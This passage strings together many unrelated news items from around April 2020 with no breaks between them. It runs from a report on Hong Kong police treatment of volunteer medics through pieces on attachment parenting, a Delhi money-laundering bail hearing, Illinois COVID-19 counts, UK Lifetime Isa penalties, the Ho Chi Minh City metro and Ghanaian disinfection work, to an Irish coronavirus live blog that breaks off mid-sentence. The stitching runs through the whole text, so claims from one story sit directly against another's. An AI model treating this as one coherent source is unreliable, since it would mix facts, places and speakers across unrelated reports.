a body search before leaving the area, later arresting Alex. "During the arrest, the police forcefully pulled Alex, spraining his waist and thigh" before making the arrestees watch as they fired high volumes of tear gas into the Poly U campus, the report found. "After the arrest, Alex experienced recurrent nightmares of the scenes. He has been diagnosed with posttraumatic stress disorder and bipolar disorder by a psychiatrist and a psychologist," the report said. Volunteer medic Kyle was handcuffed with cable ties on the same night, and kept waiting at the police station for 15 hours before being sent to hospital after requesting medical care. He was also denied access to a lawyer, and was forced to make a statement without one present, CRO said. Beaten by police First-aider Harry described being surrounded by a group of police officers, with his head, arms, body, and back beaten by their fists and elbows for around ten to 20 seconds, then pinned to the ground. "The police kept asking Harry not to resist. Harry reiterated he was a social worker and did not resist. The police kicked him and hit him with their baton/batons," the report said. Hong Kong-based doctor Darren Mann said all injured persons have the right to receive medical assistance, which can be administered by anyone present with enough knowledge or training. "They shouldn't be obstructed, let alone harassed or intimated," Mann, who penned a highly critical report in The Lancet detailing the mass arrests of medics at Poly U last November, he told RFA in a recent interview. Mann said the United Nations Special Rapporteur on Human Rights believes that there is evidence that the Hong Kong Police used ambulances to transport police officers and weapons instead of transporting the injured. Police also arrested people in ambulances, he said. Barriers, barbed wire At the Chinese University of Hong Kong (CUHK), where police fired thousands of tear gas canisters in the space of a single day after protesters and students barricaded themselves inside campus, the No. 2 footbridge that became the focal point of fierce fighting reopened this week, complete with prison-like barriers and curls of barbed wire. A protester and CUHK student who gave only the nickname Tom said that, for him, the campus no longer feels safe, as students prepare to return to their studies. "That day was the first time I felt that this place that was so safe, and which should have protected us, was violated," Tom said. Police fired a total of 2,330 tear gas canisters, 1,700 rubber bullets, 434 textile bullets, and 159 sponge bullets on the CUHK campus on Nov. 12 alone, as well as deploying water cannon. The students responded with Molotov cocktails, bricks, and other makeshift projectiles, using any objects to hand to build defenses to prevent riot officers storming the campus. "Sometimes students report finding bullets, rubber bullets, tear gas canisters still lying around the place," Tom said. "When this place was violated, we were very willing to protect it." CUHK politics lecturer Nelson Lee said the battle of the No. 2 footbridge had left an indelible mark in the city's collective memory. "I feel it very keenly," Lee said. "Especially these new students who started university this [academic] year, they lost out hugely at a time that should be the most important of their lives." "They had barely started being at university when they were no longer able to enjoy that life any more," Lee said. Reported by Tseng Yat-yiu and Man Hoi-tsan for RFA's Cantonese Service, and by Jia Ao for the Mandarin Service. Translated and edited by Luisetta Mudie. Attachment parenting, like lying down with your children, proved to be beneficial and good for them. The May 2012 issue of Time Magazine with the controversial cover picture of Jamie Lynne Grummet attending to her 3-year-old son, with the title "Are You Mom Enough?", resulted in attachment parenting to take on the spotlight. The implication was that there is something wrong with parents - mothers, especially - who become too involved in their children's upbringing. The fact that the story is directed to moms and not dads also caused criticism. The Attachment Theory Attachment parenting has a solid theoretical basis which is the Attachment Theory of Mary Salter Ainsworth and her colleagues. The theory emphasizes the nature of the relationship between the children and their caregivers, which is usually the parents. The "Strange Situation" Ainsworth paved the way to present the said theory with her innovative experimental method, "Strange Situation". She made the mothers play with their children in a lab playroom, leave the room, and then come back a few minutes later. The results led them to propose different attachment styles, categorizing the infants into groups of securely and insecurely attached. The securely attached children considered their mothers as a haven. They were not overly upset when the mother left the room, and they greeted her happily when she returned. On the other hand, the insecurely attached children either ignored the returning mother, cried the whole time she was gone, or showed some combination of these patterns of behavior. As Ainsworth was researching attachment, Diana Baumrind, Berkeley psychologist, identified variations in parenting styles that contributed to child mental health outcomes. The styles differ in the level of administration and demandingness, on one dimension, and assistance and responsiveness on the other. And the most positive result with regards to the children's behavior occurs when parents are being authoritative. Meaning, the parents show their children that they care about them, but they are also expecting them to follow their advice and guidance, for the reason that they just want to keep them safe. The attachment and parenting style theories provided the foundation for attachment parenting as how it is practiced at present. What are the effects of attachment parenting, then? What both theories propose is that parents attend to their children with a firm purpose of supporting, and adjusting their expectations, and focus on their child's developmental level needs. The most important is not the specific behavior or way of parenting, but the fact that whether or not it is responsive to the needs of the child. Parenthood is not at all easy. Attachment parenting may hold some advantages to help alleviate the stress felt by parents. As time passes by, and once the parents got out of the first six weeks or so, their kids will not cry as often. They will also throw fewer tantrums and therefore will be easier to adjust to babysitters or daycare. And although one may not be perfect in attachment parenting, the more one can incorporate some of its principles into the relationships that they have with their children, the more likely the will experience its benefits. New Delhi, April 28 : A Delhi court on Tuesday sought Enforcement Directorate's response to the bail application filed by corporate lobbyist Deepak Talwar in a money laundering case related to receiving foreign funding illegally. While seeking bail, Talwar told Special Judge Ajay Kumar Kuhar that no purpose would be served by keeping him in custody. He asserted that the probe is already over and that there was no chance that the investigation could be hampered. The corporate lobbyist said the evidence in the case is documentary in nature and has already been recovered by the probe agency. The matter will now be heard on April 29. The court had earlier dismissed his interim bail application moved on medical grounds in view of Covid-19 outbreak. The court had said that Talwar was lodged in Tihar central jail where all the facilities were available. The Enforcement Directorate had, on December 4, 2017, registered a case against the NGO Advantage India, controlled by accused Deepak Talwar, for alleged violation of FCRA rules and had begun its investigation to trail the proceeds of the crime. The agency alleged that the foreign contribution obtained by the NGO in 2012-13 and 2015-2016 was "not utilized for the mandated purposes". As much as Rs 90.72 crore funding was received from MBDA England (leading European missile manufacturer) and Airbus France under Corporate Social Responsibility (CSR) grant process. According to an investigation undertaken by the agency, Advantage India did not spend funds on mandated purposes. The ED alleged that a criminal conspiracy was hatched to divert funds for non-mandated purposes, by booking bogus expenditure in the books of account on the basis of forged documents. The Reserve Bank of India (RBI) on Tuesday said its employees have decided to contribute salary of one or more days totalling Rs 7.30 crore towards the PM-CARES Fund. To help people affected by any kind of emergency or distress situation like the one posed by the COVID-19 pandemic, the government has set up a public charitable trust named Prime Minister's Citizen Assistance and Relief in Emergency Situations Fund (PM-CARES Fund) to receive contributions from various sources, the central bank said in a statement. "Responding to the call to support this noble cause, the employees of the Reserve Bank have decided to contribute one or more days salary to the PM-CARES Fund," the RBI said. The total contribution from the employees amounting to Rs 7.30 crore is being remitted to the PM-CARES Fund, it said. The COVID-19 pandemic and the related dislocation in normal economic activity have severely affected economically weaker sections of the society and their means of livelihood. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) WOOD RIVER The Madison County Health Department on Monday reported one new coronavirus case and two deaths, bringing the total to 308 cases and 19 deaths. The deceased were identified as two women, one in her 50s and one in her 60s. Statewide there were 1,980 new cases and 50 deaths reported Monday for a total of 45,883 COVID-19 cases statewide and 1,983 deaths, according to the Illinois Department of Public Health Director Dr. Ngozi Ezike. The new figures came the same day that a judge in southern Illinois ruled against the continuation of the stay-at-home order implemented by March 13 by Gov. J.B. Pritzker. On Thursday, state Rep. Darren Bailey, R-Xenia, filed a lawsuit in Clay County Circuit Court claiming Pritzker exceeded his authority in extending the stay-at-home order through May 30. Pritzker on Monday said the COVID-19 pandemic is not just a Chicago or Cook County problem and vowed to fight the judicial ruling the furthest extent possible. He said local officials should follow the advice of scientists. The question boils down to life and death, Pritzker said. The stay-at-home order has prevented tens of thousands of illnesses, and thousands of deaths. He said history will remember those who worked together during the pandemic, as well as those blindly devoted to ideology. Mondays Madison County figures include 73 people hospitalized and 94 recovered, meaning they have completed isolation. More Information Area COVID-19 cases by county St. Clair - 403 (24 deaths) Madison - 308 (19 deaths) Monroe - 64 (10 deaths) Montgomery - 23 (1 death) Jersey - 12 (1 death) Bond - 5 (1 death) Clinton - 85 Macoupin - 30 Washington - 8 Greene - 2 Calhoun - 1 Sources: Illinois Department of Public Health and Madison County Health Department. See More Collapse IDPH information by ZIP code on Monday showed additional cases in the Alton, Godfrey, Granite City/Pontoon Beach, Collinsville, Madison and Highland areas. For the first time, Staunton (62088) was noted on the IDPH website with six reported cases. The most cases locally were in 62025 (Edwardsville) with 92, with 48 in 62040 (Granite City/Pontoon Beach), 43 in 62002 (Alton), 25 in 62234 (Collinsville) and 24 in 62034 (Glen Carbon). Ten cases were reported in 62035 (Godfrey), 62294 (Troy) and 62249 (Highland), with nine cases in 62060 (Madison), 62052 (Jerseyville) and 62095 (Wood River). Eight cases were reported in 62010 (Bethalto) and 62056 (Litchfield). Seven cases were reported in 62024 (East Alton) and 62069 (Mount Olive). Six cases were reported in 62090 (Venice) and 62088 (Staunton). There are some discrepancies between the state and local numbers as statistics are tabulated and posted at the state and local levels. The IDPH is releasing case numbers by ZIP code for areas with more than five cases. Numbers are not released in ZIP codes with fewer cases to protect the privacy of patients. The information is available on the IDPH website www.dph.illinois.gov. Click on the coronavirus banner, then COVID-19 statistics in the drop-down menu on the left side. Additional cases have also been reported in Macoupin, St. Clair and Clinton counties in the Metro East, according to the IDPH website. For the latest information on COVID-19 or coronavirus resources, visit the Madison County Health Department online at www.madisonchd.org or on Facebook @MadisonCHD. Also visit www.co.madison.il.us for more news and a daily update or on Facebook @MadisonCountyIL. Thousands of aspiring first-time home buyers in financial trouble due to the coronavirus pandemic must pay the Government hundreds of pounds to raid their house deposits before they are even eligible for benefits. The Department for Work and Pensions says Lifetime Isa savings are included in the means test for Universal Credit - which gives no benefits above 16,000 of savings and limits them above 6,000 - despite pots being intended as house deposits or retirement funds. And to compound the misery, withdrawals from Lifetime Isas are hit by huge 25 per cent penalty, unless they are used to buy a first home or after the holder turns 60. Experts and campaigners including former pensions minister Steve Webb, now a partner at pension consultants Lane Clark and Peacock, called on the Government to review the charge 'as a matter of urgency'. The Department for Work and Pensions uses Lifetime Isa savings to determine eligibility for Universal Credit. This means those who have them are expected to use them before benefits, but they cannot access these savings without paying a penalty He said: 'By including Lifetime Isa savings in the means-test for Universal Credit, the Government is saying to young people on a low income or out of work that they have to raid money locked up for long-term savings in order to meet day-to-day bills, and to face a withdrawal penalty if they do so.' Lifetime Isas can be opened by anyone aged between 18 and 40, and savers can pay in up to 4,000 a year, with their savings going into either cash accounts or stocks and shares. They were designed as a middle ground to be used by first-time buyers who also want to save for retirement and offer a 25 per cent government bonus of up to 1,000 a year. However, withdrawals for any other reason are subject to a 25 per cent penalty, which costs savers not just the bonus but some of their own money paid in as well. This is because the Government top-up adds 25 per cent to the basic savings, making the total sum 125 per cent of what someone has saved. But when the penalty is levied it is charged on the total sum, not what someone put in. Someone who saved the maximum 4,000 would end up with 5,000 after the Government bonus. But if they withdrew that, they would be charged 1,250, which includes the bonus plus 250 of their own savings. What is likely to be the average penalty? Skipton Building Society, the first provider to launch a cash version, said the average balance of its 186,832 Lifetime Isa customers was 5,619. If someone had to withdraw that money at short notice to support themselves if they had been furloughed or lost their job, they would be penalised 1,404.75, 280.95 of which would be their own savings. HMRC's own figures found in 2017-18 there were 166,000 Lifetime Isa savers, who held an average of 3,114. Savers withdrawing that would be hit with a 778.50 charge, 155.70 of which would be their own money. Many, however, will have more than that in their Lifetime Isas and be nudging towards the 16,000 Universal Credit savings limit. Other savings could push them over this and in the absence of help they may feel compelled to raid their pot and take the penalty. The Government says on its website that 'if you treat your Lifetime Isa as a short-term savings product, you could get back less than you paid in.' But by factoring Lifetime Isa savings into the means test for Universal Credit, the DWP and HMRC are effectively asking savers to treat them like that. Former pensions minister Steve Webb said the Lifetime Isa withdrawal penalty 'needs reviewing as a matter of urgency' Those with 16,000 or more in savings are ineligible for Universal Credit, while those with between 6,000 and 16,000 receive fewer benefits. Many of Britain's biggest banks have already waived early exit fees for fixed-term savings accounts, meaning those struggling with their finances can access their savings without charge. But the Lifetime Isa bonus is a matter for the Government. Steve Webb said: 'The Lifetime Isa was designed exclusively to help younger people do one of two things save for the deposit on a first home or save for retirement. 'It was never supposed to be a way of saving for day-to-day living expenses. 'By including Lifetime Isa savings in the means test for Universal Credit, the government is saying to young people on a low income or out of work that they have to raid money locked up for long-term savings in order to meet day-to-day bills, and to face a withdrawal penalty if they do so. 'This is inconsistent with how other long-term savings such as pensions are treated and needs reviewing as a matter of urgency.' Iona Bain, founder of the Young Money Blog, said: 'The outsized Lifetime Isa penalty was devised as backstop to discourage people drawing down their funds for the hell of it. It was not designed to punish people facing financial ruin. The outsized Lifetime Isa penalty was devised as backstop to discourage people drawing down their funds for the hell of it. It was not designed to punish people facing financial ruin Iona Bain - Young Money blog 'Why is the Lisa suddenly being treated as an easy-access savings product when it has been sold by the Treasury as a long-term way to build funds for housing and retirement? 'We would never dream of including a pension as an available fund to draw on a crisis for the purposes of claiming Universal Credit. 'So why is the DWP saying it's okay for young people to raid their Lifetime Isas? 'What kind of lop-sided, irresponsible message does this send out? I'm afraid this is symptomatic of short-sighted, careless decision-making at the Treasury and DWP that fails to consider young people's real lived experience. 'Dropping the penalty to 20 per cent so it isn't punitive is so obviously the right thing to do that if it doesn't happen, you really have to wonder just how much the Treasury cares about getting young people back on their feet again when this is all over.' DIY investment platform Hargreaves Lansdown offers a stocks and shares Lifetime Isa. Personal finance analyst Sarah Coles said 'the penalty element of the government withdrawal charge is not justified' Sarah Coles, of DIY investment platform Hargreaves Lansdown, which offers a stocks and shares Lifetime Isa, said: 'If you lost your income and you have money in a Lifetime Isa, it is included in the means test, but it also means you have access to the money subject to the charge so if needs be, you could withdraw the money you needed to make ends meet. 'However, the penalty element of the government withdrawal charge is not justified. We've always said the charge should be lower and should simply remove the benefit of the government bonus rather than eating into some of the money you've paid in yourself. 'At the current level, you're paying an additional price for doing the right thing and saving for the future.' A Freedom of Information request by insurer Royal London published last December found savers had already racked up more than 9million in Lifetime Isa withdrawal penalties since April 2018. Separately, DWP minister Will Quince told a Parliamentary select committee last week that the self-employed who had kept money aside for paying future tax bills would no longer have that taken into account when it came to determine their eligibility for Universal Credit. Instead it would be classed as a business asset. This is Money has contacted The Treasury for comment but at the time of publication hasn't had a response. What counts toward the 16,000 savings limit? Those who may have some money already set aside who have lost their job or been furloughed as a result may be unsure of whether they can claim Universal Credit, especially if they are grappling with benefits for the first time. Kate Smith, senior benefits expert at Citizens Advice, said: 'Understanding how much Universal Credit you'll be paid can be very confusing, particularly if you need to work out how any savings you have may affect your claim.' The DWP's explanation to This is Money was that something which can be used or sold to earn an income counts toward the limit. However, we asked Citizens Advice for some specifics. To get Universal Credit a claimant must have no more than 16,000 in savings, while they're making a joint claim for their household, they and their partner must have no more than 16,000 in savings in total. Those with 16,000 or more in savings are ineligible for Universal Credit. But what actually factors into that figure? Someone with savings of between 6,000 and 16,000 will get less Universal Credit. It will be assumed that they get a monthly income of 4.35 per month from every 250 they have over 6,000 - it doesn't matter if they actually get this amount. This is called 'tariff income' and will be added to other income when working out how much Universal Credit someone receives. Someone with 12,000 in a Lifetime Isa, the maximum they could have saved in the three tax years since it was launched, would lose out on 104 a month. Savings taken into account include cash, money in bank or building society accounts, including Lifetime Isa savings, one-off payments like redundancy payments or loans, investments including bonds, shares and unit trusts and personal injury compensation. Land and property are also considered but will not be taken into account if it's the home you live or plan to live in or are selling, or if a close relative lives there. Values are judged at the current market or surrender value of the assets, which is the amount you could raise by disposing of them. A Lifetime Isa, for example, will have a lower value because of the charge for withdrawal. Meanwhile personal possessions, pension investments, business assets, life assurance policies, or money from the London Emergencies Trust or We Love Manchester Emergency Fund are not counted towards the 16,000 sum. A metro terminal near the Municipal Theater in downtown Ho Chi Minh City is being finalized and will be made available for public observation for the first-ever time since its building started six years ago. The terminal is part of the long-awaited metro line No. 1. The citys Management Authority for Urban Railways (MAUR) hopes that opening the terminal to public visits would help to inform residents of the progress made on one of the key projects of Ho Chi Minh City. Due to developments of the novel coronavirus disease (COVID-19) pandemic in Vietnam, however, the opening date would be pushed back until the situation is under control. Le Thanh Le, project manager of the metro lines construction package 1b, said that the terminal consists of four underground floors, construction work on which commenced in July 2014. So far, the fundamental structure has been completed, leaving only interior installation tasks to be done. Floor B1 is designed to house the waiting lounge for commuters, ticket vending machines, and automated fare collection gates, most of which have been finished in time to celebrate the 45th anniversary of Reunification Day (April 30). Construction of Floors B2 and B4, where train platforms are located, is being accelerated and expected to be completed within 2020. Electrical equipment has been installed on Floor B3, reserved for maintenance, on schedule. The construction site for a downtown terminal of the metro line No. 1 project has been cleared for a green space opposite the Municipal Theater in District 1, Ho Chi Minh City, Vietnam. Photo: Quang Dinh / Tuoi Tre Le said one of the most challenging tasks in constructing the terminal was its closeness to historical landmarks of Ho Chi Minh City such as the Municipal Theater and Rex Hotel. The Ben Thanh Suoi Tien metro line, also known as metro line No. 1, is 19.7 kilometers long with 2.6 kilometers running underground. Construction kicked off in August 2012 and so far 72 percent of the workload has been finished. The MAUR said they are striving to speed up the remaining work on the metro line, with the aim of completing 85 percent of the workload by the end of this year and bringing the station into service in 2021. A bird-eye's view of the Municipal Theater Terminal of Ho Chi Minh Citys metro line No. 1 project in District 1. Photo: Quang Dinh / Tuoi Tre The construction site for a downtown terminal of the metro line No. 1 project has been cleared for a green space opposite the Municipal Theater in District 1, Ho Chi Minh City, Vietnam. Photo: Quang Dinh / Tuoi Tre A staircase leads to Floor B3 of the Municipal Theater Terminal of Ho Chi Minh Citys metro line No. 1 project in District 1. Photo: Quang Dinh / Tuoi Tre Inside Floor B1 of the Municipal Theater Terminal of Ho Chi Minh Citys metro line No. 1 project in District 1. Photo: Quang Dinh / Tuoi Tre Inside Floor B1 of the Municipal Theater Terminal of Ho Chi Minh Citys metro line No. 1 project in District 1. Photo: Quang Dinh / Tuoi Tre A ticket vending booth is seen on Floor B1 of the Municipal Theater Terminal of Ho Chi Minh Citys metro line No. 1 project in District 1. Photo: Quang Dinh / Tuoi Tre Construction workers finalize Floor B1 of the Municipal Theater Terminal of Ho Chi Minh Citys metro line No. 1 project in District 1. Photo: Quang Dinh / Tuoi Tre A tunnel connecting the Municipal Theater Terminal with Ben Thanh Terminal of Ho Chi Minh Citys metro line No. 1 project. Photo: Quang Dinh / Tuoi Tre Construction workers work on Floor B2 of the Municipal Theater Terminal of Ho Chi Minh Citys metro line No. 1 project in District 1. Photo: Quang Dinh / Tuoi Tre Inside Floor B1 of the Municipal Theater Terminal of Ho Chi Minh Citys metro line No. 1 project in District 1. Photo: Quang Dinh / Tuoi Tre Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Chennai, April 28 : A male Covid-19 patient who sneaked out of the Rajiv Gandhi Government General Hospital here was brought back to the ward on Tuesday morning, said an official. The patient had escaped from the hospital on Monday night and reached his home on foot. Alerted by the hospital staff, Health Department officials went to his home and convinced him to return to the hospital for treatment. Politicians have been asked to refrain from politicising the countrys fight against the novel coronavirus (COVID-19) pandemic which is ravaging countries across the globe, President of the Trinity Theological Seminary (TTS), Legon, Professor J. Kwabena Asamoah-Gyadu FGA, has cautioned. Speaking to a cross-section of journalists during a disinfection and fumigation exercise by the Vector Control Unit of Zoomlion Ghana Limited (ZGL) in the TTS campus, Prof Asamoah-Gyadu described as sad and unfortunate attempts by some of the countrys politicians to politicise Ghanas battle against COVID-19. The exercise formed part of ZGLs corporate social responsibility (CSR), as many tertiary institutions, churches, and state institutions have already benefitted from the initiative. This is a time we all have to come together and fight a common enemy[COVID], adding that we have to wise up and understand that the virus is not a matter to toy with, Prof Asamoah-Gyadu warned. When asked about whether the government should consider reopening schools, the president of TTS made it clear that, that decision should be left for the technical experts to make. It should not be a political decision to reopen schools. We should rely on the advice of the experts, he advised. Prof Asamoah-Gyadu, therefore, seized the opportunity to commend Zoomlion for carrying out the disinfection exercise in his institute. This fumigation and disinfection exercise by Zoomlion means a lot to us, especially when the campus has not been disinfected for a very long time, he said. While applauding Zoomlion for the initiative, the president of TTS noted that the institute has employed a number of measures to protect its taff members on campus from contracting the virus. These measures, he said, included the placing of alcohol-based hand sanitisers at vantage points for staff members to use in sanitising their hands. Also, there are Veronica buckets, liquid soaps and tissues in front of almost every facility on campus to ensure that staff members regularly wash their hands even before they enter into any of the facilities, he said. Additionally, Prof Asamoah-Gyadu indicated that the institute was strictly enforcing the safety protocol of wearing of nose masks. He went on to add that those who did not comply were turned back. Earlier, Zoomlion disinfected the International Central Gospel Church (ICGC) headquartered at Abossey-Okai, Accra. Among the churchs facilities disinfected were the Youth Block, Childrens Block, Multi-Purpose Centre, the main church auditorium with its attached offices, and the whole compound. The company also disinfected the National Film and Television Institute (NAFTI), Cantonments, Accra. After the exercise, the Rector of NAFTI, Dr. Samuel Nai, expressed his profound gratitude to Zoomlion and its partners for the gesture. And though he indicated that it was in the institutes plan to fumigate and disinfect the school, he described as timely the initiative by Zoomlion to carry out the exercise. According to Dr. Sai, his institute has embossed the No Face Masks, No Entry on the gate of the main entrance to emphasize the importance NAFTI attaches to helping to prevent the spread of the virus. We also have Veronica buckets and alcohol-based hand sanitisers placed at vantage points to encourage its use by staff members, especially now that students are home. Be happy: Even if its the last thing you want to do, give a smile in case someone needs it. Photo: Ariana Cubillos/AP An employee sprays disinfectant in a BTS commuter train carriage as a preventive measure against the spread of COVID-19 in Bangkok. (Photo by Mladen ANTONOV / AFP) Independent.ie reporters keeping you up to date with the latest coronavirus news in Ireland and across the world. 22:00 28/04/2020 Face mask use for public being considered Holohan The use of face masks in public is being considered as part of efforts to tackle coronavirus in Ireland, the chief medical officer has said. Dr Tony Holohans comments came as the Scottish government issued guidance for people to shield their faces in places such as shops and on public transport. The powersharing executive in Northern Ireland is also due to consider a similar proposal. Dr Holohan said the wearing of face masks was one of the measures we are giving consideration to. Read More 21.40 28/04/2020 Healthcare workers who cannot secure childcare can take paid leave The health service is facing a potential staffing crisis after it was agreed yesterday that healthcare workers who have exhausted all efforts to secure childcare can take paid leave. This could potentially see hundreds of hundreds of workers, many of them nurses, opt to stay at home, leaving hospitals and nursing homes down key staff . They will receive their regular pay and allowances. Read More 19.43 28/04/2020 'Were not down to a low enough level yet' - Health team are 'not in a position' to recommend easing restrictions The National Public Health Emergency Team (NPHET) has said that it is not in a position to recommend the easing of lockdown restrictions. Dr Tony Holohan said that while compliance rates with restrictions have been high, a set of criteria which would see restrictions eased has not been met. If the assessment was made in any of the recent days that this question has come up in the last week or so, that the requirements if you like or the criteria that we see as being important to enable us to make a recommendation that we should reduce some of the restrictions in place have yet to be satisfied, he said at the Department of Health briefing this evening. If those assessments were made on any of the days, including today, we wouldnt be in a position to recommend a progression to any of these an easing of restrictions, he said. Read More WATCH: Dublin men run charity Ironman challenge at home after Spanish event cancelled Ryan Murphy and Carl Wallace from Co Dublin undertook the Ironman Challenge to raise funds for local Support4Drummo Campaign. The men, both 25, have had to adapted to their surroundings after the Ironman they had intended on completing, in aid of local Support4Drummo campaign, was cancelled due to Covid-19. They were due to attempt the Ironman 70.3 in Marbella this weekend, but due to cancellation of the event they took to the pavements of Dun Laoghaire and Cabinteely instead. The Support4Drummo campaign is in aid of Cuala player Sean Drummond, who was left seriously injured in an accident last year. They are hoping to still raise vital funds to help the campaign in supporting his rehabilitation. https://www.gofundme.com/f/support4drummo 18.16 28/04/2020 Department of Health daily briefing: assessments which guide easing lockdown measures are yet to be satisfied' not in a position to recommend an easing of restrictions we "still have a way to go on a number of those important indicators" in response to claims that there were up to four cases before the first case was announced on February 29 - it may be the case that the person was admitted to hospital prior to February 29 but tested later and confirmed as having Covid-19 Dr Holohan adds that he does not believe there were cases prior to February 29 bad respiratory hygiene will become "socially unacceptable" according to Tony Holohan As of midnight Monday 27 April, 153,054 tests have been carried out. Over the past week, 41,470 tests were carried out and of these 5,335 were positive, giving a positivity rate of 12.9pc. Data from the HPSC, as of midnight, Sunday 26th April (19,383 cases), reveals 58pc are female and 42pc are male the median age of confirmed cases is 49 years 2,638 cases (14pc) have been hospitalised Of those hospitalised, 358 cases have been admitted to ICU 5,414 cases are associated with healthcare workers Dublin has the highest number of cases at 9,624 (50pc of all cases) followed by Kildare with 1,147 cases (6pc) and then Cork with 1,126 cases (6pc) Of those for whom transmission status is known: community transmission accounts for 63pc, close contact accounts for 33pc, travel abroad accounts for 3pc 17.45 28/04/2020 A further 59 deaths associated with the coronavirus has been announced. The Department of Health has also announced 229 new cases of the virus in Ireland. There have been a total of 1,159 Covid related deaths and a total of 19,877 confirmed cases. 16.53 28/04/2020 Keeping 350-a-week Covid-19 unemployment payment at same rate among Labour's government demands THE Labour Party have set out a series of questions and demands that must be addressed by Fianna Fail and Fine Gael if the party is to consider entering talks to form a coalition government. Visit our Covid-19 vaccine dashboard for updates on the roll out of the vaccination program and the rate of Coronavirus cases Ireland Labour leader Alan Kelly has written to Micheal Martin and Taoiseach Leo Varadkar in response to the framework document of government proposals that was circulated to smaller parties. A commitment that the emergency 350-a-week payment for workers who lost their jobs in the coronavirus crisis will continue at the current rate is among five key questions highlighted in his letter. He also wants information on how much the next government is prepared to borrow in 2020, 2021 and 2022 to maintain public services and make additional investments. Read More Temperature checks, training limits and Covid-19 regulator - League of Ireland behind closed doors proposal revealed League of Ireland players would have to record their temperature before leaving home for every training session under the terms of a proposed return to football activity, with maximum groups of five and the banning of GPS monitors amongst the initial stipulations. Teams taking two buses to away games, players showering one at a time after every match, and the staggered departure of participants from dressing rooms are just some of the social distancing-friendly recommendations on the agenda for matchday itself if clubs and government green light the FAI's plan to play games behind closed doors. They are significant obstacles seeing as the FAI's working document entitled 'Return To Football Behind Closed Doors' does not yet have any financial details to appease concerns of clubs that are vehemently opposed to the concept while any plan could be vetoed by HSE guidelines. Read More 16.09 28/04/2020 Number of people arrested for breaching coronavirus restrictions more than doubled in the last week - Drew Harris THE number of people arrested for being in breach of the Covid-19 regulations has more than doubled in the past week as people continue to flaunt emergency restrictions. This afternoon Garda Commissioner Drew Harris announced that gardai have invoked special powers to police restrictions for the pandemic a total of 76 times since they were introduced on April 8, compared to 32 last week. Gardai carrying out Covid-19 operations have also dealt with 760 separate offences including drink-driving, drugs seizures as well as public order offences. Over the last three weeks there have been 31 reported incidents where a member of An Garda Siochana has been spat or coughed at, and gardai have had to deploy anti-spit guards 15 times since April 8. Read More 15.46 28/04/2020 Taoiseach under pressure from Cabinet ministers to ease coronavirus restrictions Taoiseach Leo Varadkar has come under pressure from his cabinet ministers to begin lifting Covid-19 restrictions after the bank holiday weekend. During a Cabinet meeting today several ministers insisted the Government should begin the process of easing restrictions to give the public hope after weeks of lockdown. However, the Taoiseach and Health Minister Simon Harris did not give their colleagues any indication of their exit strategy ahead of announcement due on Friday. It was all very depressing and neither of them gave us much hope, one minister said. Read More President pays tribute to frontline workers who have died in Covid-19 outbreak Irelands President Michael D Higgins marked International Workers Memorial Day with a ceremony remembering all the frontline workers who have died during the Covid-19 outbreak. Mr Higgins laid a wreath for all those who have died in the coronavirus pandemic at the Plough and the Stars memorial in the grounds of Aras an Uachtarain. The ceremony was attended by representatives from those working in healthcare, nursing homes, gardai, An Post, retail staff and delivery drivers. Mr Higgins said that those on the front line are working tirelessly and selflessly. Read More Airbnb to launch enhanced 'cleaning protocol' with 24-hour buffer between stays Airbnb will launch new cleaning and sanitisation protocols for its hosts starting next month, including a 24-hour buffer between stays, the company has said. It hopes the changes will help protect travellers staying in Airbnb accommodations during the coronavirus pandemic. "The protocol will be available to all hosts and we encourage them to commit and adopt these enhanced cleaning practices," the announcement said. "Listings enrolled in the Cleaning Protocol will be available for stays immediately after the enhanced cleaning is performed." The company is working with hospitality and medical experts, including a former U.S. surgeon general, Vivek Murthy, to develop its cleaning protocol with Covid-19 prevention in mind, it said. Read More 15.15 28/04/2020 Leo Varadkar helps with coronavirus testing on Traveller accommodation site TAOISEACH Leo Varadkar donned medical scrubs and a face mask to help out with Covid-19 testing at a Traveller accommodation site in his constituency. Mr Varadkar, a qualified doctor who recently re-registered to help out with the response to the spread of the virus, was on site at Morgans Place in Blanchardstown, a Traveller specific accommodation site, on Monday where testing was being carried out. It is unclear if Mr Varadkar himself was carrying out the swab tests of residents. Blanchardstown Traveller Development Group posted pictures on its Facebook group of Mr Varadkar wearing a scrub top and a face mask alongside locals on Monday evening. The group said that the testing was a precautionary measure after two recently confirmed cases of the disease in the community. Both patients are said to be recovery well. Read More Car travel up 18pc as 'people tire of lockdown restrictions' Car journeys have increased by as much as 18pc on some roads during April, indicating that more people are resisting the Covid-19 lockdown restrictions. An analysis of information from Transport Infrastructure Ireland (TII) by the Irish Independent shows traffic census points all over the country have seen volumes of private car journeys creep up as April went on. Data from TII, which monitors traffic volumes at 350 locations across the country, is recorded on a constant live basis and is broken down into vehicle type and direction of travel. While there was a massive drop in traffic volumes when Taoiseach Leo Varadkar announced the lockdown measures on March 27, the numbers of cars on the country's roads have been creeping up as time has moved on. Read More 15:00 28/04/2020 WATCH: Trump says US heading to 70,000 virus deaths President Trump says the US is heading towards 70,000 coronavirus-related deaths. "We're probably heading to 60,000, 70,000," the president said. "It's far too many. One person is too many for this." 14:40 28/04/2020 Call for State to slash VRT as car dealers fear 60pc fall in July sales Car dealers fear a July wipe-out unless the Government slashes vehicle registration tax (VRT). New-car sales for the '202' registration period could plunge by as much as 60pc and threaten thousands of jobs in the industry, it was claimed yesterday. July is normally the second biggest-selling month of the year and marks a new-registration period for cars - the '202' plate this year. To help avert the worsening crisis, Renault Ireland chief Paddy Magee has called for a short-term reduction of 3,000 in VRT to boost sales for July especially. Read More 14:20 28/04/2020 New Zealand eases lockdown as coronavirus tamed in Australasia New Zealand has eased a strict lockdown amid hopeful signs coronavirus has been all but vanquished in Australasia for the moment. But elsewhere, Brazil is emerging as a potential new hotspot for infections, and fresh doubts have been raised over whether Japan would be able to host the already postponed Olympic Games next year. Europe and some US states are also continuing to gradually ease limits on movement and commerce as they try to restart their economies. But in a reminder of the viruss increasing toll, President Donald Trump said the numbers of deaths could reach 70,000 in the US, after putting the number at 60,000 several times earlier this month. Expand Close Surfers enter the water as restrictions are eased in Christchurch, New Zealand (AP/Mark Baker) / Facebook Twitter Email Whatsapp Surfers enter the water as restrictions are eased in Christchurch, New Zealand (AP/Mark Baker) 14:00 28/04/2020 Ireland faces crawl back to normality after Covid-19, expert warns Returning to normal life after the Covid-19 emergency will be a crawl due to the complexity of the virus, an infectious disease specialist has warned. The National Public Health Emergency Team (NPHET) will meet on Tuesday morning to review the impact of Covid-19 and the existing measures in place to limit the spread of the disease. Restrictions are due to 